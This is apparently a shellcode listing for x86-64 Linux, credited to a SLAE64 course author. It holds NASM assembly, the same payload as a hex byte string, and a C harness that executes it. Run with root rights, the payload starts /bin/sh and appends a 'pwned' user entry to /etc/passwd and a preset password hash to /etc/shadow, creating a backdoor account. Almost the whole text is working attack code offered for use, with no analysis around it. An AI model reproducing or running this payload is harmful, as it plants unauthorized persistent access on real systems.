45 lines
No EOL
2.1 KiB
C
45 lines
No EOL
2.1 KiB
C
; shellcode name add_user_password
|
|
; Author : Christophe G SLAE64-1337
|
|
; Len : 273 bytes
|
|
; Language : Nasm
|
|
; "name = pwned ; pass = $pass$"
|
|
; add user and password with echo cmd
|
|
; tested kali linux , kernel 3.12
|
|
|
|
|
|
|
|
global _start
|
|
|
|
_start:
|
|
jmp short findaddress
|
|
|
|
_realstart:
|
|
pop rdi
|
|
xor byte [rdi + 7] , 0x41 ; replace A to null byte "/bin/shA"
|
|
xor byte [rdi + 10] ,0x41 ; same "-cA"
|
|
xor rdx , rdx
|
|
lea rdi , [rdi]
|
|
lea r9 , [rdi + 8]
|
|
lea r10 , [rdi + 11]
|
|
push rdx
|
|
push r10
|
|
push r9
|
|
push rdi
|
|
mov rsi , rsp
|
|
add al , 59
|
|
syscall
|
|
|
|
|
|
findaddress:
|
|
call _realstart
|
|
string : db "/bin/shA-cAecho pwned:x:1001:1002:pwned,,,:/home/pwned:/bin/bash >> /etc/passwd ; echo pwned:\$6\$uiH7x.vhivD7LLXY\$7sK1L1KW.ChqWQZow3esvpbWVXyR6LA431tOLhMoRKjPerkGbxRQxdIJO2Iamoyl7yaVKUVlQ8DMk3gcHLOOf/:16261:0:99999:7::: >> /etc/shadow"
|
|
|
|
unsigned char code[] = \
|
|
"\xeb\x24\x5f\x80\x77\x07\x41\x80\x77\x0a\x41\x48\x31\xd2\x48\x8d\x3f\x4c\x8d\x4f\x08\x4c\x8d\x57\x0b\x52\x41\x52\x41\x51\x57\x48\x89\xe6\x04\x3b\x0f\x05\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x2d\x63\x41\x65\x63\x68\x6f\x20\x70\x77\x6e\x65\x64\x3a\x78\x3a\x31\x30\x30\x31\x3a\x31\x30\x30\x32\x3a\x70\x77\x6e\x65\x64\x2c\x2c\x2c\x3a\x2f\x68\x6f\x6d\x65\x2f\x70\x77\x6e\x65\x64\x3a\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x65\x63\x68\x6f\x20\x70\x77\x6e\x65\x64\x3a\x5c\x24\x36\x5c\x24\x75\x69\x48\x37\x78\x2e\x76\x68\x69\x76\x44\x37\x4c\x4c\x58\x59\x5c\x24\x37\x73\x4b\x31\x4c\x31\x4b\x57\x2e\x43\x68\x71\x57\x51\x5a\x6f\x77\x33\x65\x73\x76\x70\x62\x57\x56\x58\x79\x52\x36\x4c\x41\x34\x33\x31\x74\x4f\x4c\x68\x4d\x6f\x52\x4b\x6a\x50\x65\x72\x6b\x47\x62\x78\x52\x51\x78\x64\x49\x4a\x4f\x32\x49\x61\x6d\x6f\x79\x6c\x37\x79\x61\x56\x4b\x55\x56\x6c\x51\x38\x44\x4d\x6b\x33\x67\x63\x48\x4c\x4f\x4f\x66\x2f\x3a\x31\x36\x32\x36\x31\x3a\x30\x3a\x39\x39\x39\x39\x39\x3a\x37\x3a\x3a\x3a\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77"
|
|
;
|
|
|
|
int main()
|
|
{
|
|
printf("Shellcode Length: %d\n", (int)strlen(code));
|
|
(*(void (*)()) code)();
|
|
} |